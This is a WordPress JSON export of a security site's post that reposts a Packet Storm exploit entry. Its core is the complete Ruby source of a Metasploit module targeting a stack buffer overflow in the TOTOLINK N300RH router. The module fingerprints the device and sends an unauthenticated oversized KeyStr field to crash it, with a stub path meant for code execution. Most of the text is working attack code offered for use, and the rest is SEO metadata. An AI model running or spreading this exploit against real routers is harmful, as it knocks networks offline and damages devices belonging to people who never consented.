{"id":64502,"date":"2026-06-19T23:48:28","date_gmt":"2026-06-19T23:48:28","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=64502"},"modified":"2026-06-19T23:48:28","modified_gmt":"2026-06-19T23:48:28","slug":"totolink-n300rh-buffer-overflow","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=64502","title":{"rendered":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:54:42&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router&#8217;s setWiFiBasicConfig CGI handler. The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-06-19T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-06-19T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:223862&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;==================================================================================================================================\\n    | # Title     : TOTOLINK N300RH V6.1c.1390_B20191101 setWiFiBasicConfig KeyStr Stack Buffer Overflow Metasploit Module           |\\n    | # Author    : indoushka                                                                                                        |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits)                                                 |\\n    | # Vendor    : https:\/\/www.totolink.net\/home\/menu\/detail\/menu_listtpl\/download\/id\/188\/ids\/36.html                               |\\n    ==================================================================================================================================\\n    \\n    [+] Summary    :  This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router\u2019s setWiFiBasicConfig CGI handler. \\n                      The vulnerability occurs when the KeyStr parameter is copied into a fixed-size stack buffer without proper bounds checking.\\n    \\n    \\n    [+] POC        :  \\n    \\n    ##\\n    # This module requires Metasploit: https:\/\/metasploit.com\/download\\n    # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n    ##\\n    \\n    class MetasploitModule \\u003c Msf::Auxiliary\\n      include Msf::Exploit::Remote::HttpClient\\n      include Msf::Auxiliary::Scanner\\n      include Msf::Auxiliary::Report\\n    \\n      def initialize(info = {})\\n        super(\\n          update_info(\\n            info,\\n            &#8216;Name&#8217; =\\u003e &#8216;TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow&#8217;,\\n            &#8216;Description&#8217; =\\u003e %q{\\n              This module exploits a stack-based buffer overflow vulnerability in the\\n              TOTOLINK N300RH wireless router. The vulnerability exists in the\\n              `setWiFiBasicConfig` handler within `wireless.so` which copies the user-supplied\\n              `KeyStr` parameter into a fixed-size stack buffer without proper bounds checking.\\n    \\n              The vulnerability can be triggered remotely without authentication, leading to\\n              denial of service (process crash) and potentially arbitrary code execution.\\n    \\n              Tested successfully on firmware version V6.1c.1390_B20191101.\\n            },\\n            &#8216;Author&#8217; =\\u003e [&#8216;indoushka&#8217;],\\n            &#8216;References&#8217; =\\u003e [\\n              [ &#8216;CWE&#8217;, &#8216;121&#8217; ],   \\n              [ &#8216;URL&#8217;, &#8216;https:\/\/www.totolink.net\/home\/menu\/detail\/menu_listtpl\/download\/id\/188\/ids\/36.html&#8217; ],\\n              [ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/Unknown\/Metasploit-TOTOLINK-N300RH&#8217; ]\\n            ],\\n            &#8216;DisclosureDate&#8217; =\\u003e &#8216;2024-01-30&#8217;,    \\n            &#8216;License&#8217; =\\u003e MSF_LICENSE,\\n            &#8216;DefaultOptions&#8217; =\\u003e {\\n              &#8216;RPORT&#8217; =\\u003e 80,\\n              &#8216;SSL&#8217; =\\u003e false\\n            },\\n            &#8216;Actions&#8217; =\\u003e [\\n              [&#8216;CHECK&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Check if target is a TOTOLINK N300RH router&#8217; }],\\n              [&#8216;DOS&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Trigger denial of service (process crash)&#8217; }],\\n              [&#8216;EXPLOIT&#8217;, { &#8216;Description&#8217; =\\u003e &#8216;Attempt arbitrary code execution (ROP chain required)&#8217; }]\\n            ],\\n            &#8216;DefaultAction&#8217; =\\u003e &#8216;DOS&#8217;,\\n            &#8216;Notes&#8217; =\\u003e {\\n              &#8216;Stability&#8217; =\\u003e [ CRASH_SERVICE_DOWN ],\\n              &#8216;Reliability&#8217; =\\u003e [ REPEATABLE_SESSION ],  # Only for DOS action\\n              &#8216;SideEffects&#8217; =\\u003e [ IOC_IN_LOGS, PHYSICAL_DEVICE_REBOOT ]\\n            }\\n          )\\n        )\\n        register_options([\\n          OptString.new(&#8216;TARGETURI&#8217;, [ true, &#8216;Base path to CGI endpoint&#8217;, &#8216;\/&#8217; ]),\\n          OptInt.new(&#8216;KEYSTR_LENGTH&#8217;, [ false, &#8216;Length of KeyStr buffer (for DOS)&#8217;, 2000 ]),\\n          OptString.new(&#8216;KEYSTR_PATTERN&#8217;, [ false, &#8216;Pattern for KeyStr (e.g., A*2000)&#8217;, &#8216;A&#8217; * 2000 ]),\\n          OptBool.new(&#8216;ENABLE_ROP&#8217;, [ false, &#8216;Enable ROP chain for code execution&#8217;, false ])\\n        ])\\n        register_advanced_options([\\n          OptInt.new(&#8216;CRASH_DETECTION_TIMEOUT&#8217;, [ true, &#8216;Seconds to wait for crash detection&#8217;, 10 ]),\\n          OptString.new(&#8216;WIFI_AUTH_MODE&#8217;, [ true, &#8216;AuthMode parameter&#8217;, &#8216;OPEN&#8217; ]),\\n          OptString.new(&#8216;WIFI_KEY_TYPE&#8217;, [ true, &#8216;KeyType parameter&#8217;, &#8216;1&#8217; ])\\n        ])\\n      end\\n      def check_host(_ip)\\n        print_status(\\&#8221;Checking #{peer} for TOTOLINK N300RH fingerprint&#8230;\\&#8221;)\\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/&#8217;)\\n          })\\n          if res.nil?\\n            return Exploit::CheckCode::Unknown(&#8216;No response from target&#8217;)\\n          end\\n          totolink_indicators = [\\n            res.body.to_s =~ \/TOTOLINK\/i,\\n            res.body.to_s =~ \/N300RH\/i,\\n            res.headers[&#8216;Server&#8217;].to_s =~ \/TOTOLINK\/i,\\n            res.body.to_s =~ \/wr-300n\/i,\\n            res.body.to_s =~ \/Geon Electronics\/i\\n          ]\\n          if totolink_indicators.any?\\n            print_status(\\&#8221;TOTOLINK detected, attempting vulnerability probe&#8230;\\&#8221;)\\n            probe_payload = {\\n              &#8216;topicurl&#8217; =\\u003e &#8216;setWiFiBasicConfig&#8217;,\\n              &#8216;addEffect&#8217; =\\u003e &#8216;0&#8217;,\\n              &#8216;AuthMode&#8217; =\\u003e datastore[&#8216;WIFI_AUTH_MODE&#8217;],\\n              &#8216;KeyType&#8217; =\\u003e datastore[&#8216;WIFI_KEY_TYPE&#8217;],\\n              &#8216;KeyStr&#8217; =\\u003e &#8216;A&#8217; * 64  # Normal WiFi key length (64 hex chars for WPA2)\\n            }\\n            res2 = send_request_cgi({\\n              &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;cgi-bin&#8217;, &#8216;cstecgi.cgi&#8217;),\\n              &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded; charset=UTF-8&#8217;,\\n              &#8216;headers&#8217; =\\u003e {\\n                &#8216;X-Requested-With&#8217; =\\u003e &#8216;XMLHttpRequest&#8217;\\n              },\\n              &#8216;data&#8217; =\\u003e probe_payload.to_json\\n            })\\n            if res2 \\u0026\\u0026 res2.code == 200\\n              return Exploit::CheckCode::Appears(&#8216;Target appears to be TOTOLINK N300RH with vulnerable endpoint accessible&#8217;)\\n            else\\n              return Exploit::CheckCode::Detected(&#8216;TOTOLINK detected but vulnerability probe failed&#8217;)\\n            end\\n          end\\n          Exploit::CheckCode::Safe(&#8216;Target does not appear to be a TOTOLINK N300RH router&#8217;)\\n        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout\\n          Exploit::CheckCode::Unknown(&#8216;Could not connect to target&#8217;)\\n        rescue =\\u003e e\\n          Exploit::CheckCode::Unknown(\\&#8221;Error during check: #{e.message}\\&#8221;)\\n        end\\n      end\\n      def build_malicious_payload(crash_only = true)\\n        payload_data = {\\n          &#8216;topicurl&#8217; =\\u003e &#8216;setWiFiBasicConfig&#8217;,\\n          &#8216;addEffect&#8217; =\\u003e &#8216;0&#8217;,\\n          &#8216;AuthMode&#8217; =\\u003e datastore[&#8216;WIFI_AUTH_MODE&#8217;],\\n          &#8216;KeyType&#8217; =\\u003e datastore[&#8216;WIFI_KEY_TYPE&#8217;]\\n        }\\n        if crash_only || !datastore[&#8216;ENABLE_ROP&#8217;]\\n          if datastore[&#8216;KEYSTR_PATTERN&#8217;] \\u0026\\u0026 !datastore[&#8216;KEYSTR_PATTERN&#8217;].empty?\\n            key_str = datastore[&#8216;KEYSTR_PATTERN&#8217;]\\n          else\\n            length = datastore[&#8216;KEYSTR_LENGTH&#8217;] || 2000\\n            key_str = &#8216;A&#8217; * length\\n          end\\n          vprint_status(\\&#8221;Using DOS payload with #{key_str.length} bytes\\&#8221;)\\n        else\\n          print_warning(\\&#8221;Code execution requires ROP chain for firmware V6.1c.1390_B20191101\\&#8221;)\\n          print_warning(\\&#8221;This is a placeholder &#8211; you need to implement the ROP chain\\&#8221;)\\n          rop_chain = generate_mips_rop_chain\\n          padding = &#8216;A&#8217; * 1024  # Adjust offset based on reverse engineering\\n          key_str = padding + rop_chain\\n        end\\n        payload_data[&#8216;KeyStr&#8217;] = key_str\\n        payload_data.to_json\\n      end\\n      def generate_mips_rop_chain\\n        print_error(\\&#8221;ROP chain not implemented &#8211; set ENABLE_ROP false for DOS only\\&#8221;)\\n        &#8216;A&#8217; * 1024\\n      end\\n      def check_for_crash\\n        print_status(\\&#8221;Checking if target crashed&#8230;\\&#8221;)\\n        begin\\n          Timeout.timeout(datastore[&#8216;CRASH_DETECTION_TIMEOUT&#8217;]) do\\n            res = send_request_cgi({\\n              &#8216;method&#8217; =\\u003e &#8216;GET&#8217;,\\n              &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;\/&#8217;),\\n              &#8216;timeout&#8217; =\\u003e 5\\n            })\\n            if res.nil?\\n              print_good(\\&#8221;Target is not responding &#8211; likely crashed\\&#8221;)\\n              return true\\n            elsif res.code == 200\\n              print_warning(\\&#8221;Target still responding &#8211; may not have crashed\\&#8221;)\\n              return false\\n            end\\n          end\\n        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::ConnectionTimeout\\n          print_good(\\&#8221;Connection failed &#8211; target likely crashed\\&#8221;)\\n          return true\\n        rescue Timeout::Error\\n          print_good(\\&#8221;Timeout &#8211; target likely crashed\\&#8221;)\\n          return true\\n        end\\n        false\\n      end\\n      def dos_exploit\\n        print_status(\\&#8221;Preparing malicious request&#8230;\\&#8221;)\\n        malicious_json = build_malicious_payload(true)\\n        print_status(\\&#8221;Sending exploit payload to #{peer}\/cgi-bin\/cstecgi.cgi\\&#8221;)\\n        print_status(\\&#8221;KeyStr length: #{datastore[&#8216;KEYSTR_PATTERN&#8217;]\\u0026.length || datastore[&#8216;KEYSTR_LENGTH&#8217;] || 2000} bytes\\&#8221;)\\n        begin\\n          res = send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;cgi-bin&#8217;, &#8216;cstecgi.cgi&#8217;),\\n            &#8216;ctype&#8217; =\\u003e &#8216;application\/x-www-form-urlencoded; charset=UTF-8&#8217;,\\n            &#8216;headers&#8217; =\\u003e {\\n              &#8216;X-Requested-With&#8217; =\\u003e &#8216;XMLHttpRequest&#8217;,\\n              &#8216;User-Agent&#8217; =\\u003e &#8216;Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko\/20100101 Firefox\/141.0&#8217;\\n            },\\n            &#8216;data&#8217; =\\u003e malicious_json\\n          })\\n          if res\\n            print_status(\\&#8221;HTTP Response: #{res.code}\\&#8221;)\\n            if res.code == 200\\n              print_good(\\&#8221;Request accepted &#8211; exploit sent successfully\\&#8221;)\\n            else\\n              print_warning(\\&#8221;Unexpected response code: #{res.code}\\&#8221;)\\n            end\\n          else\\n            print_good(\\&#8221;No response received &#8211; exploit may have triggered immediately\\&#8221;)\\n          end\\n        rescue ::Errno::ECONNRESET, ::Rex::ConnectionRefused\\n          print_good(\\&#8221;Connection reset &#8211; exploit likely triggered\\&#8221;)\\n        rescue ::Rex::ConnectionTimeout\\n          print_good(\\&#8221;Connection timeout &#8211; service may have crashed\\&#8221;)\\n        rescue =\\u003e e\\n          print_error(\\&#8221;Error sending exploit: #{e.message}\\&#8221;)\\n          return false\\n        end\\n        print_status(\\&#8221;Waiting #{datastore[&#8216;CRASH_DETECTION_TIMEOUT&#8217;]} seconds for crash&#8230;\\&#8221;)\\n        sleep(datastore[&#8216;CRASH_DETECTION_TIMEOUT&#8217;])\\n        check_for_crash\\n      end\\n      def code_exec_exploit\\n        print_warning(\\&#8221;Code execution not fully implemented\\&#8221;)\\n        print_warning(\\&#8221;You need to:\\&#8221;)\\n        print_warning(\\&#8221;  1. Reverse engineer the exact offset to return address\\&#8221;)\\n        print_warning(\\&#8221;  2. Find ROP gadgets in the firmware\\&#8221;)\\n        print_warning(\\&#8221;  3. Implement generate_mips_rop_chain method\\&#8221;)\\n        print_warning(\\&#8221;  4. Test on actual hardware\\&#8221;)\\n        if datastore[&#8216;FORCE_EXPLOIT&#8217;]\\n          print_status(\\&#8221;FORCE_EXPLOIT enabled, attempting anyway&#8230;\\&#8221;)\\n          malicious_json = build_malicious_payload(false)\\n          send_request_cgi({\\n            &#8216;method&#8217; =\\u003e &#8216;POST&#8217;,\\n            &#8216;uri&#8217; =\\u003e normalize_uri(target_uri.path, &#8216;cgi-bin&#8217;, &#8216;cstecgi.cgi&#8217;),\\n            &#8216;data&#8217; =\\u003e malicious_json\\n          })\\n        else\\n          print_error(\\&#8221;Set FORCE_EXPLOIT=true to attempt anyway (not recommended)\\&#8221;)\\n        end\\n      end\\n      def run_host(_ip)\\n        if datastore[&#8216;KEYSTR_PATTERN&#8217;] \\u0026\\u0026 !datastore[&#8216;KEYSTR_PATTERN&#8217;].empty?\\n          print_status(\\&#8221;Using custom KeyStr pattern of #{datastore[&#8216;KEYSTR_PATTERN&#8217;].length} bytes\\&#8221;)\\n        elsif datastore[&#8216;KEYSTR_LENGTH&#8217;] \\u0026\\u0026 datastore[&#8216;KEYSTR_LENGTH&#8217;] \\u003e 0\\n          print_status(\\&#8221;Using KeyStr length: #{datastore[&#8216;KEYSTR_LENGTH&#8217;]} bytes\\&#8221;)\\n        elsif datastore[&#8216;ACTION&#8217;] == &#8216;EXPLOIT&#8217; \\u0026\\u0026 datastore[&#8216;ENABLE_ROP&#8217;]\\n          print_status(\\&#8221;Preparing ROP chain for code execution\\&#8221;)\\n        else\\n          print_status(\\&#8221;Using default DOS payload (2000 bytes)\\&#8221;)\\n        end\\n        case action.name\\n        when &#8216;CHECK&#8217;\\n          result = check_host(nil)\\n          print_status(result.message)\\n          report_note(\\n            host: rhost,\\n            port: rport,\\n            type: &#8216;totolink.n300rh.check_result&#8217;,\\n            data: result.message\\n          )\\n          return\\n        when &#8216;DOS&#8217;\\n          print_status(\\&#8221;Starting Denial of Service attack against #{peer}\\&#8221;)\\n          crashed = dos_exploit\\n          if crashed\\n            print_good(\\&#8221;Successfully crashed target TOTOLINK N300RH!\\&#8221;)\\n            print_warning(\\&#8221;The device may need to be power-cycled to restore full functionality\\&#8221;)\\n            report_vuln(\\n              host: rhost,\\n              port: rport,\\n              proto: &#8216;tcp&#8217;,\\n              name: &#8216;TOTOLINK N300RH setWiFiBasicConfig KeyStr Stack Buffer Overflow&#8217;,\\n              refs: references,\\n              info: \\&#8221;Device successfully crashed via oversized KeyStr parameter\\&#8221;\\n            )\\n          else\\n            print_error(\\&#8221;Target did not crash &#8211; vulnerability may be patched or different version\\&#8221;)\\n          end\\n        when &#8216;EXPLOIT&#8217;\\n          if datastore[&#8216;ENABLE_ROP&#8217;]\\n            print_status(\\&#8221;Attempting code execution&#8230;\\&#8221;)\\n            code_exec_exploit\\n          else\\n            print_error(\\&#8221;Code execution requires ENABLE_ROP=true and a valid ROP chain\\&#8221;)\\n            print_error(\\&#8221;Falling back to DOS mode\\&#8221;)\\n            dos_exploit\\n          end\\n        end\\n      end\\n    end\\n    \\t\\n    Greetings to :==============================================================================\\n    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n    ============================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/223862&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/223862\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:54:42&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router&#8217;s setWiFiBasicConfig CGI handler. The vulnerability occurs when the&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-64502","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=64502\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:54:42&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router&#8217;s setWiFiBasicConfig CGI handler. The vulnerability occurs when the...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=64502\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-06-19T23:48:28+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862\",\"datePublished\":\"2026-06-19T23:48:28+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502\"},\"wordCount\":1848,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64502#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502\",\"name\":\"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-06-19T23:48:28+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=64502\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=64502#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=64502","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-06-20T03:54:42&#8243;,&#8221;description&#8221;:&#8221;This is a Metasploit auxiliary module that targets a stack-based buffer overflow in the TOTOLINK N300RH router&#8217;s setWiFiBasicConfig CGI handler. The vulnerability occurs when the...","og_url":"https:\/\/zero.redgem.net\/?p=64502","og_site_name":"zero redgem","article_published_time":"2026-06-19T23:48:28+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=64502#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=64502"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862","datePublished":"2026-06-19T23:48:28+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=64502"},"wordCount":1848,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=64502#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=64502","url":"https:\/\/zero.redgem.net\/?p=64502","name":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-06-19T23:48:28+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=64502#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=64502"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=64502#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 TOTOLINK N300RH Buffer Overflow_PACKETSTORM:223862"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero 